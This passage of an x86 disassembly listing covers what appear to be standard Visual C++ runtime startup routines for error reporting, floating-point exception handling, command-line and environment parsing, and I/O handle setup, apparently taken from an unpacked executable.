XREF: sub_419CE8+50j test cl, cl js short loc_419D68 call sub_417C70 mov dword ptr [eax], 16h loc_419D85: ; CODE XREF: sub_419CE8+2Dj or eax, 0FFFFFFFFh jmp loc_419E45 ; --------------------------------------------------------------------------- loc_419D8D: ; CODE XREF: sub_419CE8+84j test byte ptr [edi+0Ch], 1 jz loc_419E3D mov ecx, [edi+4] test ecx, ecx jnz short loc_419DA6 and [ebp+var_8], ecx jmp loc_419E3D ; --------------------------------------------------------------------------- loc_419DA6: ; CODE XREF: sub_419CE8+B4j sub eax, edx add eax, ecx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 lea ebx, ds:47A2E0h[eax*4] mov eax, esi and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [esi+eax+4], 80h jz short loc_419E37 push 2 push 0 push [ebp+var_C] call sub_419C3D add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_419DFE mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax jmp short loc_419DF4 ; --------------------------------------------------------------------------- loc_419DEB: ; CODE XREF: sub_419CE8+10Ej cmp byte ptr [eax], 0Ah jnz short loc_419DF3 inc [ebp+arg_0] loc_419DF3: ; CODE XREF: sub_419CE8+106j inc eax loc_419DF4: ; CODE XREF: sub_419CE8+101j cmp eax, ecx jb short loc_419DEB test byte ptr [edi+0Dh], 20h jmp short loc_419E32 ; --------------------------------------------------------------------------- loc_419DFE: ; CODE XREF: sub_419CE8+F7j push 0 push [ebp+var_4] push [ebp+var_C] call sub_419C3D mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_419E25 mov ecx, [edi+0Ch] test cl, 8 jz short loc_419E25 test ch, 4 jz short loc_419E28 loc_419E25: ; CODE XREF: sub_419CE8+12Ej ; sub_419CE8+136j mov eax, [edi+18h] loc_419E28: ; CODE XREF: sub_419CE8+13Bj mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_419E32: ; CODE XREF: sub_419CE8+114j jz short loc_419E37 inc [ebp+arg_0] loc_419E37: ; CODE XREF: sub_419CE8+E3j ; sub_419CE8:loc_419E32j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_419E3D: ; CODE XREF: sub_419CE8+A9j ; sub_419CE8+B9j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_419E45: ; CODE XREF: sub_419CE8+3Cj ; sub_419CE8+89j ... pop edi pop esi pop ebx leave retn sub_419CE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E4A proc near ; CODE XREF: sub_4148E1+12p ; sub_414906+12p ... var_10C = byte ptr -10Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch mov eax, dword_42CE38 xor eax, [ebp+4] mov ecx, [ebp+arg_0] push ebx push esi mov [ebp+var_4], eax xor edx, edx push edi xor eax, eax loc_419E68: ; CODE XREF: sub_419E4A+2Bj cmp ecx, dword_42CF50[eax*8] jz short loc_419E77 inc eax cmp eax, 12h jb short loc_419E68 loc_419E77: ; CODE XREF: sub_419E4A+25j mov esi, eax shl esi, 3 cmp ecx, dword_42CF50[esi] jnz loc_419FAB mov eax, dword_479EA8 cmp eax, 1 jz loc_419F86 cmp eax, edx jnz short loc_419EA7 cmp dword_42C744, 1 jz loc_419F86 loc_419EA7: ; CODE XREF: sub_419E4A+4Ej cmp ecx, 0FCh jz loc_419FAB push 104h lea eax, [ebp+var_10C] push eax push edx mov [ebp+var_8], dl call ds:dword_41F010 test eax, eax jnz short loc_419EE0 lea eax, [ebp+var_10C] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41B390 pop ecx pop ecx loc_419EE0: ; CODE XREF: sub_419E4A+81j lea eax, [ebp+var_10C] push eax lea edi, [ebp+var_10C] call sub_416000 inc eax cmp eax, 3Ch pop ecx jbe short loc_419F22 lea eax, [ebp+var_10C] push eax call sub_416000 mov edi, eax lea eax, [ebp+var_10C] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_412C40 add esp, 10h loc_419F22: ; CODE XREF: sub_419E4A+ADj push edi call sub_416000 push off_42CF54[esi] mov ebx, eax call sub_416000 lea eax, [ebx+eax+1Ch] pop ecx add eax, 3 pop ecx and eax, 0FFFFFFFCh call sub_412DD0 mov ebx, esp push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push ebx call sub_41B390 push edi push ebx call sub_41B3A0 push offset asc_4283A8 ; "\n\n" push ebx call sub_41B3A0 push off_42CF54[esi] push ebx call sub_41B3A0 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebx call sub_41D75B add esp, 2Ch jmp short loc_419FAB ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E4A+46j ; sub_419E4A+57j push edx lea eax, [ebp+arg_0] push eax lea esi, off_42CF54[esi] push dword ptr [esi] call sub_416000 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_41F190 push eax call ds:dword_41F038 loc_419FAB: ; CODE XREF: sub_419E4A+38j ; sub_419E4A+63j ... lea esp, [ebp-118h] mov ecx, [ebp+var_4] xor ecx, [ebp+4] call sub_4182D6 pop edi pop esi pop ebx leave retn sub_419E4A endp ; =============== S U B R O U T I N E ======================================= sub_419FC1 proc near ; CODE XREF: sub_4148E1+9p ; sub_414906+9p mov eax, dword_479EA8 cmp eax, 1 jz short loc_419FD8 test eax, eax jnz short locret_419FF9 cmp dword_42C744, 1 jnz short locret_419FF9 loc_419FD8: ; CODE XREF: sub_419FC1+8j push 0FCh call sub_419E4A mov eax, dword_47A028 test eax, eax pop ecx jz short loc_419FEE call eax loc_419FEE: ; CODE XREF: sub_419FC1+29j push 0FFh call sub_419E4A pop ecx locret_419FF9: ; CODE XREF: sub_419FC1+Cj ; sub_419FC1+15j retn sub_419FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FFA proc near ; CODE XREF: .text:00414ACEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_415456 mov edi, [ebp+arg_0] mov esi, eax mov edx, [esi+54h] mov eax, dword_42D064 mov ecx, edx loc_41A015: ; CODE XREF: sub_419FFA+2Aj cmp [ecx], edi jz short loc_41A026 lea ebx, [eax+eax*2] add ecx, 0Ch lea ebx, [edx+ebx*4] cmp ecx, ebx jb short loc_41A015 loc_41A026: ; CODE XREF: sub_419FFA+1Dj lea eax, [eax+eax*2] lea eax, [edx+eax*4] cmp ecx, eax jnb short loc_41A034 cmp [ecx], edi jz short loc_41A036 loc_41A034: ; CODE XREF: sub_419FFA+34j xor ecx, ecx loc_41A036: ; CODE XREF: sub_419FFA+38j test ecx, ecx jz loc_41A150 mov ebx, [ecx+8] test ebx, ebx mov [ebp+arg_0], ebx jz loc_41A150 cmp ebx, 5 jnz short loc_41A05D and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_41A159 ; --------------------------------------------------------------------------- loc_41A05D: ; CODE XREF: sub_419FFA+55j cmp ebx, 1 jz loc_41A14B mov eax, [esi+58h] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [esi+58h], eax mov eax, [ecx+4] cmp eax, 8 jnz loc_41A13D mov edx, dword_42D058 mov eax, dword_42D05C add eax, edx cmp edx, eax jge short loc_41A0B6 lea eax, [edx+edx*2] shl eax, 2 loc_41A095: ; CODE XREF: sub_419FFA+B7j mov edi, [esi+54h] and dword ptr [eax+edi+8], 0 mov edi, dword_42D058 mov ebx, dword_42D05C inc edx add ebx, edi add eax, 0Ch cmp edx, ebx jl short loc_41A095 mov ebx, [ebp+arg_0] loc_41A0B6: ; CODE XREF: sub_419FFA+93j mov ecx, [ecx] cmp ecx, 0C000008Eh mov edi, [esi+5Ch] jnz short loc_41A0CC mov dword ptr [esi+5Ch], 83h jmp short loc_41A130 ; --------------------------------------------------------------------------- loc_41A0CC: ; CODE XREF: sub_419FFA+C7j cmp ecx, 0C0000090h jnz short loc_41A0DD mov dword ptr [esi+5Ch], 81h jmp short loc_41A130 ; --------------------------------------------------------------------------- loc_41A0DD: ; CODE XREF: sub_419FFA+D8j cmp ecx, 0C0000091h jnz short loc_41A0EE mov dword ptr [esi+5Ch], 84h jmp short loc_41A130 ; --------------------------------------------------------------------------- loc_41A0EE: ; CODE XREF: sub_419FFA+E9j cmp ecx, 0C0000093h jnz short loc_41A0FF mov dword ptr [esi+5Ch], 85h jmp short loc_41A130 ; --------------------------------------------------------------------------- loc_41A0FF: ; CODE XREF: sub_419FFA+FAj cmp ecx, 0C000008Dh jnz short loc_41A110 mov dword ptr [esi+5Ch], 82h jmp short loc_41A130 ; --------------------------------------------------------------------------- loc_41A110: ; CODE XREF: sub_419FFA+10Bj cmp ecx, 0C000008Fh jnz short loc_41A121 mov dword ptr [esi+5Ch], 86h jmp short loc_41A130 ; --------------------------------------------------------------------------- loc_41A121: ; CODE XREF: sub_419FFA+11Cj cmp ecx, 0C0000092h jnz short loc_41A130 mov dword ptr [esi+5Ch], 8Ah loc_41A130: ; CODE XREF: sub_419FFA+D0j ; sub_419FFA+E1j ... push dword ptr [esi+5Ch] push 8 call ebx pop ecx mov [esi+5Ch], edi jmp short loc_41A144 ; --------------------------------------------------------------------------- loc_41A13D: ; CODE XREF: sub_419FFA+7Ej and dword ptr [ecx+8], 0 push eax call ebx loc_41A144: ; CODE XREF: sub_419FFA+141j mov eax, [ebp+var_4] pop ecx mov [esi+58h], eax loc_41A14B: ; CODE XREF: sub_419FFA+66j or eax, 0FFFFFFFFh jmp short loc_41A159 ; --------------------------------------------------------------------------- loc_41A150: ; CODE XREF: sub_419FFA+3Ej ; sub_419FFA+4Cj push [ebp+arg_4] call ds:dword_41F194 loc_41A159: ; CODE XREF: sub_419FFA+5Ej ; sub_419FFA+154j pop edi pop esi pop ebx leave retn sub_419FFA endp ; =============== S U B R O U T I N E ======================================= sub_41A15E proc near ; CODE XREF: .text:00414A86p cmp dword_47B674, 0 jnz short loc_41A16C call sub_4195AD loc_41A16C: ; CODE XREF: sub_41A15E+7j push esi mov esi, dword_47B664 test esi, esi jnz short loc_41A17E mov esi, 41FA76h jmp short loc_41A1C3 ; --------------------------------------------------------------------------- loc_41A17E: ; CODE XREF: sub_41A15E+17j mov al, [esi] cmp al, 22h jnz short loc_41A1AC inc esi mov al, [esi] cmp al, 22h jz short loc_41A1BC loc_41A18B: ; CODE XREF: sub_41A15E+45j test al, al jz short loc_41A1A5 movzx eax, al push eax call sub_41D885 test eax, eax pop ecx jz short loc_41A19E inc esi loc_41A19E: ; CODE XREF: sub_41A15E+3Dj inc esi mov al, [esi] cmp al, 22h jnz short loc_41A18B loc_41A1A5: ; CODE XREF: sub_41A15E+2Fj cmp byte ptr [esi], 22h jnz short loc_41A1BD jmp short loc_41A1BC ; --------------------------------------------------------------------------- loc_41A1AC: ; CODE XREF: sub_41A15E+24j cmp al, 20h jbe short loc_41A1BD loc_41A1B0: ; CODE XREF: sub_41A15E+56j inc esi cmp byte ptr [esi], 20h ja short loc_41A1B0 jmp short loc_41A1BD ; --------------------------------------------------------------------------- loc_41A1B8: ; CODE XREF: sub_41A15E+63j cmp al, 20h ja short loc_41A1C3 loc_41A1BC: ; CODE XREF: sub_41A15E+2Bj ; sub_41A15E+4Cj inc esi loc_41A1BD: ; CODE XREF: sub_41A15E+4Aj ; sub_41A15E+50j ... mov al, [esi] test al, al jnz short loc_41A1B8 loc_41A1C3: ; CODE XREF: sub_41A15E+1Ej ; sub_41A15E+5Cj mov eax, esi pop esi retn sub_41A15E endp ; =============== S U B R O U T I N E ======================================= sub_41A1C7 proc near ; CODE XREF: .text:loc_414A55p push ebx xor ebx, ebx cmp dword_47B674, ebx push esi push edi jnz short loc_41A1D9 call sub_4195AD loc_41A1D9: ; CODE XREF: sub_41A1C7+Bj mov esi, dword_479EA0 xor edi, edi cmp esi, ebx jnz short loc_41A1F7 jmp short loc_41A217 ; --------------------------------------------------------------------------- loc_41A1E7: ; CODE XREF: sub_41A1C7+34j cmp al, 3Dh jz short loc_41A1EC inc edi loc_41A1EC: ; CODE XREF: sub_41A1C7+22j push esi call sub_416000 pop ecx lea esi, [esi+eax+1] loc_41A1F7: ; CODE XREF: sub_41A1C7+1Cj mov al, [esi] cmp al, bl jnz short loc_41A1E7 lea eax, ds:4[edi*4] push eax call sub_41344D mov edi, eax cmp edi, ebx pop ecx mov dword_479E7C, edi jnz short loc_41A21C loc_41A217: ; CODE XREF: sub_41A1C7+1Ej or eax, 0FFFFFFFFh jmp short loc_41A274 ; --------------------------------------------------------------------------- loc_41A21C: ; CODE XREF: sub_41A1C7+4Ej mov esi, dword_479EA0 push ebp jmp short loc_41A24F ; --------------------------------------------------------------------------- loc_41A225: ; CODE XREF: sub_41A1C7+8Aj push esi call sub_416000 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_41A24D push ebp call sub_41344D cmp eax, ebx pop ecx mov [edi], eax jz short loc_41A278 push esi push eax call sub_41B390 pop ecx pop ecx add edi, 4 loc_41A24D: ; CODE XREF: sub_41A1C7+6Bj add esi, ebp loc_41A24F: ; CODE XREF: sub_41A1C7+5Cj cmp [esi], bl jnz short loc_41A225 push dword_479EA0 call sub_412FE4 mov dword_479EA0, ebx mov [edi], ebx mov dword_47B668, 1 xor eax, eax loc_41A272: ; CODE XREF: sub_41A1C7+C5j pop ecx pop ebp loc_41A274: ; CODE XREF: sub_41A1C7+53j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41A278: ; CODE XREF: sub_41A1C7+78j push dword_479E7C call sub_412FE4 mov dword_479E7C, ebx or eax, 0FFFFFFFFh jmp short loc_41A272 sub_41A1C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A28E proc near ; CODE XREF: sub_41A3FA+54p ; sub_41A3FA+85p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] xor edx, edx cmp [ebp+arg_0], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_41A2B1 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_41A2B1: ; CODE XREF: sub_41A28E+18j ; sub_41A28E+65j ... cmp byte ptr [eax], 22h jnz short loc_41A2C4 xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_41A2F1 ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A28E+26j inc dword ptr [esi] test edi, edi jz short loc_41A2CF mov cl, [eax] mov [edi], cl inc edi loc_41A2CF: ; CODE XREF: sub_41A28E+3Aj mov cl, [eax] movzx ebx, cl inc eax test byte_47A401[ebx], 4 jz short loc_41A2EA inc dword ptr [esi] test edi, edi jz short loc_41A2E9 mov bl, [eax] mov [edi], bl inc edi loc_41A2E9: ; CODE XREF: sub_41A28E+54j inc eax loc_41A2EA: ; CODE XREF: sub_41A28E+4Ej test cl, cl mov ebx, [ebp+arg_4] jz short loc_41A323 loc_41A2F1: ; CODE XREF: sub_41A28E+34j test edx, edx jnz short loc_41A2B1 cmp cl, 20h jz short loc_41A2FF cmp cl, 9 jnz short loc_41A2B1 loc_41A2FF: ; CODE XREF: sub_41A28E+6Aj test edi, edi jz short loc_41A307 and byte ptr [edi-1], 0 loc_41A307: ; CODE XREF: sub_41A28E+73j ; sub_41A28E+96j and [ebp+var_4], 0 loc_41A30B: ; CODE XREF: sub_41A28E+157j cmp byte ptr [eax], 0 jz loc_41A3EA loc_41A314: ; CODE XREF: sub_41A28E+93j mov cl, [eax] cmp cl, 20h jz short loc_41A320 cmp cl, 9 jnz short loc_41A326 loc_41A320: ; CODE XREF: sub_41A28E+8Bj inc eax jmp short loc_41A314 ; --------------------------------------------------------------------------- loc_41A323: ; CODE XREF: sub_41A28E+61j dec eax jmp short loc_41A307 ; --------------------------------------------------------------------------- loc_41A326: ; CODE XREF: sub_41A28E+90j cmp byte ptr [eax], 0 jz loc_41A3EA cmp [ebp+arg_0], 0 jz short loc_41A33E mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_41A33E: ; CODE XREF: sub_41A28E+A5j inc dword ptr [ebx] loc_41A340: ; CODE XREF: sub_41A28E+145j xor ebx, ebx inc ebx xor edx, edx jmp short loc_41A349 ; --------------------------------------------------------------------------- loc_41A347: ; CODE XREF: sub_41A28E+BEj inc eax inc edx loc_41A349: ; CODE XREF: sub_41A28E+B7j cmp byte ptr [eax], 5Ch jz short loc_41A347 cmp byte ptr [eax], 22h jnz short loc_41A379 test dl, 1 jnz short loc_41A377 cmp [ebp+var_4], 0 jz short loc_41A36A lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_41A36A mov eax, ecx jmp short loc_41A36C ; --------------------------------------------------------------------------- loc_41A36A: ; CODE XREF: sub_41A28E+CEj ; sub_41A28E+D6j xor ebx, ebx loc_41A36C: ; CODE XREF: sub_41A28E+DAj xor ecx, ecx cmp [ebp+var_4], ecx setz cl mov [ebp+var_4], ecx loc_41A377: ; CODE XREF: sub_41A28E+C8j shr edx, 1 loc_41A379: ; CODE XREF: sub_41A28E+C3j test edx, edx jz short loc_41A38A loc_41A37D: ; CODE XREF: sub_41A28E+FAj test edi, edi jz short loc_41A385 mov byte ptr [edi], 5Ch inc edi loc_41A385: ; CODE XREF: sub_41A28E+F1j inc dword ptr [esi] dec edx jnz short loc_41A37D loc_41A38A: ; CODE XREF: sub_41A28E+EDj mov cl, [eax] test cl, cl jz short loc_41A3D8 cmp [ebp+var_4], 0 jnz short loc_41A3A0 cmp cl, 20h jz short loc_41A3D8 cmp cl, 9 jz short loc_41A3D8 loc_41A3A0: ; CODE XREF: sub_41A28E+106j test ebx, ebx jz short loc_41A3D2 test edi, edi jz short loc_41A3C1 movzx edx, cl test byte_47A401[edx], 4 jz short loc_41A3BA mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_41A3BA: ; CODE XREF: sub_41A28E+124j mov cl, [eax] mov [edi], cl inc edi jmp short loc_41A3D0 ; --------------------------------------------------------------------------- loc_41A3C1: ; CODE XREF: sub_41A28E+118j movzx ecx, cl test byte_47A401[ecx], 4 jz short loc_41A3D0 inc eax inc dword ptr [esi] loc_41A3D0: ; CODE XREF: sub_41A28E+131j ; sub_41A28E+13Dj inc dword ptr [esi] loc_41A3D2: ; CODE XREF: sub_41A28E+114j inc eax jmp loc_41A340 ; --------------------------------------------------------------------------- loc_41A3D8: ; CODE XREF: sub_41A28E+100j ; sub_41A28E+10Bj ... test edi, edi jz short loc_41A3E0 and byte ptr [edi], 0 inc edi loc_41A3E0: ; CODE XREF: sub_41A28E+14Cj inc dword ptr [esi] mov ebx, [ebp+arg_4] jmp loc_41A30B ; --------------------------------------------------------------------------- loc_41A3EA: ; CODE XREF: sub_41A28E+80j ; sub_41A28E+9Bj mov eax, [ebp+arg_0] test eax, eax jz short loc_41A3F4 and dword ptr [eax], 0 loc_41A3F4: ; CODE XREF: sub_41A28E+161j inc dword ptr [ebx] pop edi pop ebx leave retn sub_41A28E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3FA proc near ; CODE XREF: .text:00414A44p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp dword_47B674, edi jnz short loc_41A411 call sub_4195AD loc_41A411: ; CODE XREF: sub_41A3FA+10j and byte_47A134, 0 push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push edi call ds:dword_41F010 mov eax, dword_47B664 cmp eax, edi mov off_479E8C, esi jz short loc_41A440 cmp byte ptr [eax], 0 mov ebx, eax jnz short loc_41A442 loc_41A440: ; CODE XREF: sub_41A3FA+3Dj mov ebx, esi loc_41A442: ; CODE XREF: sub_41A3FA+44j lea eax, [ebp+var_4] push eax push edi lea esi, [ebp+var_8] xor ecx, ecx mov eax, ebx call sub_41A28E mov esi, [ebp+var_4] mov eax, [ebp+var_8] shl esi, 2 add eax, esi push eax call sub_41344D mov edi, eax add esp, 0Ch test edi, edi jnz short loc_41A472 or eax, 0FFFFFFFFh jmp short loc_41A497 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A3FA+71j lea eax, [ebp+var_4] push eax lea ecx, [esi+edi] push edi lea esi, [ebp+var_8] mov eax, ebx call sub_41A28E mov eax, [ebp+var_4] dec eax pop ecx mov dword_479E70, eax pop ecx mov dword_479E74, edi xor eax, eax loc_41A497: ; CODE XREF: sub_41A3FA+76j pop edi pop esi pop ebx leave retn sub_41A3FA endp ; =============== S U B R O U T I N E ======================================= sub_41A49C proc near ; CODE XREF: .text:00414A3Ap var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_47A138 push ebx push ebp push esi push edi mov edi, ds:dword_41F1A4 xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_41A4E5 call edi mov esi, eax cmp esi, ebx jz short loc_41A4CC mov dword_47A138, 1 jmp short loc_41A4EA ; --------------------------------------------------------------------------- loc_41A4CC: ; CODE XREF: sub_41A49C+22j call ds:dword_41F008 cmp eax, 78h jnz short loc_41A4E0 mov eax, ebp mov dword_47A138, eax jmp short loc_41A4E5 ; --------------------------------------------------------------------------- loc_41A4E0: ; CODE XREF: sub_41A49C+39j mov eax, dword_47A138 loc_41A4E5: ; CODE XREF: sub_41A49C+1Aj ; sub_41A49C+42j cmp eax, 1 jnz short loc_41A567 loc_41A4EA: ; CODE XREF: sub_41A49C+2Ej cmp esi, ebx jnz short loc_41A4F6 call edi mov esi, eax cmp esi, ebx jz short loc_41A56F loc_41A4F6: ; CODE XREF: sub_41A49C+50j cmp [esi], bx mov eax, esi jz short loc_41A50B loc_41A4FD: ; CODE XREF: sub_41A49C+66j ; sub_41A49C+6Dj add eax, ebp cmp [eax], bx jnz short loc_41A4FD add eax, ebp cmp [eax], bx jnz short loc_41A4FD loc_41A50B: ; CODE XREF: sub_41A49C+5Fj mov edi, ds:dword_41F0AC push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41A55C push ebp call sub_41344D cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41A55C push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi test eax, eax jnz short loc_41A558 push [esp+18h+var_8] call sub_412FE4 pop ecx mov [esp+18h+var_8], ebx loc_41A558: ; CODE XREF: sub_41A49C+ACj mov ebx, [esp+18h+var_8] loc_41A55C: ; CODE XREF: sub_41A49C+8Cj ; sub_41A49C+9Bj push esi call ds:dword_41F1A0 mov eax, ebx jmp short loc_41A5B7 ; --------------------------------------------------------------------------- loc_41A567: ; CODE XREF: sub_41A49C+4Cj cmp eax, ebp jz short loc_41A573 cmp eax, ebx jz short loc_41A573 loc_41A56F: ; CODE XREF: sub_41A49C+58j ; sub_41A49C+E1j xor eax, eax jmp short loc_41A5B7 ; --------------------------------------------------------------------------- loc_41A573: ; CODE XREF: sub_41A49C+CDj ; sub_41A49C+D1j call ds:dword_41F19C mov esi, eax cmp esi, ebx jz short loc_41A56F cmp [esi], bl jz short loc_41A58D loc_41A583: ; CODE XREF: sub_41A49C+EAj ; sub_41A49C+EFj inc eax cmp [eax], bl jnz short loc_41A583 inc eax cmp [eax], bl jnz short loc_41A583 loc_41A58D: ; CODE XREF: sub_41A49C+E5j sub eax, esi inc eax mov ebp, eax push ebp call sub_41344D mov edi, eax cmp edi, ebx pop ecx jnz short loc_41A5A3 xor edi, edi jmp short loc_41A5AE ; --------------------------------------------------------------------------- loc_41A5A3: ; CODE XREF: sub_41A49C+101j push ebp push esi push edi call sub_4177B0 add esp, 0Ch loc_41A5AE: ; CODE XREF: sub_41A49C+105j push esi call ds:dword_41F198 mov eax, edi loc_41A5B7: ; CODE XREF: sub_41A49C+C9j ; sub_41A49C+D5j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41A49C endp ; =============== S U B R O U T I N E ======================================= sub_41A5BE proc near ; CODE XREF: .text:00414A1Ep var_48 = dword ptr -48h var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 48h push ebx mov ebx, 480h push ebx call sub_41344D test eax, eax pop ecx jnz short loc_41A5DA or eax, 0FFFFFFFFh jmp loc_41A7B7 ; --------------------------------------------------------------------------- loc_41A5DA: ; CODE XREF: sub_41A5BE+12j mov dword_47A2E0, eax mov dword_47A2C8, 20h lea ecx, [eax+480h] jmp short loc_41A60F ; --------------------------------------------------------------------------- loc_41A5F1: ; CODE XREF: sub_41A5BE+53j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, dword_47A2E0 add eax, 24h add ecx, 480h loc_41A60F: ; CODE XREF: sub_41A5BE+31j cmp eax, ecx jb short loc_41A5F1 push ebp push esi push edi lea eax, [esp+58h+var_44] push eax call ds:dword_41F148 cmp word ptr [esp+58h+var_14+2], 0 jz loc_41A716 mov eax, [esp+58h+var_10] test eax, eax jz loc_41A716 mov edi, [eax] lea ebp, [eax+4] lea eax, [edi+ebp] mov [esp+58h+var_48], eax mov eax, 800h cmp edi, eax jl short loc_41A650 mov edi, eax loc_41A650: ; CODE XREF: sub_41A5BE+8Ej cmp dword_47A2C8, edi jge short loc_41A6A6 mov esi, offset dword_47A2E4 loc_41A65D: ; CODE XREF: sub_41A5BE+DEj push ebx call sub_41344D test eax, eax pop ecx jz short loc_41A6A0 add dword_47A2C8, 20h mov [esi], eax lea ecx, [eax+480h] jmp short loc_41A68F ; --------------------------------------------------------------------------- loc_41A679: ; CODE XREF: sub_41A5BE+D3j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, [esi] add eax, 24h add ecx, ebx loc_41A68F: ; CODE XREF: sub_41A5BE+B9j cmp eax, ecx jb short loc_41A679 add esi, 4 cmp dword_47A2C8, edi jl short loc_41A65D jmp short loc_41A6A6 ; --------------------------------------------------------------------------- loc_41A6A0: ; CODE XREF: sub_41A5BE+A8j mov edi, dword_47A2C8 loc_41A6A6: ; CODE XREF: sub_41A5BE+98j ; sub_41A5BE+E0j xor ebx, ebx test edi, edi jle short loc_41A716 loc_41A6AC: ; CODE XREF: sub_41A5BE+156j mov eax, [esp+58h+var_48] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_41A70B mov cl, [ebp+0] test cl, 1 jz short loc_41A70B test cl, 8 jnz short loc_41A6CF push eax call ds:dword_41F1AC test eax, eax jz short loc_41A70B loc_41A6CF: ; CODE XREF: sub_41A5BE+104j mov ecx, ebx mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] sar ecx, 5 mov ecx, dword_47A2E0[ecx*4] lea esi, [ecx+eax*4] mov eax, [esp+58h+var_48] mov eax, [eax] mov [esi], eax mov al, [ebp+0] mov [esi+4], al lea eax, [esi+0Ch] push 0FA0h push eax call sub_41BBD8 test eax, eax pop ecx pop ecx jz short loc_41A736 inc dword ptr [esi+8] loc_41A70B: ; CODE XREF: sub_41A5BE+F7j ; sub_41A5BE+FFj ... add [esp+58h+var_48], 4 inc ebx inc ebp cmp ebx, edi jl short loc_41A6AC loc_41A716: ; CODE XREF: sub_41A5BE+69j ; sub_41A5BE+75j ... xor ebx, ebx loc_41A718: ; CODE XREF: sub_41A5BE+1E2j mov ecx, dword_47A2E0 lea eax, [ebx+ebx*8] lea esi, [ecx+eax*4] cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_41A798 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41A73B push 0FFFFFFF6h pop eax jmp short loc_41A745 ; --------------------------------------------------------------------------- loc_41A736: ; CODE XREF: sub_41A5BE+148j ; sub_41A5BE+1CDj or eax, 0FFFFFFFFh jmp short loc_41A7B4 ; --------------------------------------------------------------------------- loc_41A73B: ; CODE XREF: sub_41A5BE+171j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41A745: ; CODE XREF: sub_41A5BE+176j push eax call ds:dword_41F190 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41A792 push edi call ds:dword_41F1AC test eax, eax jz short loc_41A792 and eax, 0FFh cmp eax, 2 mov [esi], edi jnz short loc_41A770 or byte ptr [esi+4], 40h jmp short loc_41A779 ; --------------------------------------------------------------------------- loc_41A770: ; CODE XREF: sub_41A5BE+1AAj cmp eax, 3 jnz short loc_41A779 or byte ptr [esi+4], 8 loc_41A779: ; CODE XREF: sub_41A5BE+1B0j ; sub_41A5BE+1B5j lea eax, [esi+0Ch] push 0FA0h push eax call sub_41BBD8 test eax, eax pop ecx pop ecx jz short loc_41A736 inc dword ptr [esi+8] jmp short loc_41A79C ; --------------------------------------------------------------------------- loc_41A792: ; CODE XREF: sub_41A5BE+193j ; sub_41A5BE+19Ej or byte ptr [esi+4], 40h jmp short loc_41A79C ; --------------------------------------------------------------------------- loc_41A798: ; CODE XREF: sub_41A5BE+169j or byte ptr [esi+4], 80h loc_41A79C: ; CODE XREF: sub_41A5BE+1D2j ; sub_41A5BE+1D8j inc ebx cmp ebx, 3 jl loc_41A718 push dword_47A2C8 call ds:dword_41F1A8 xor eax, eax loc_41A7B4: ; CODE XREF: 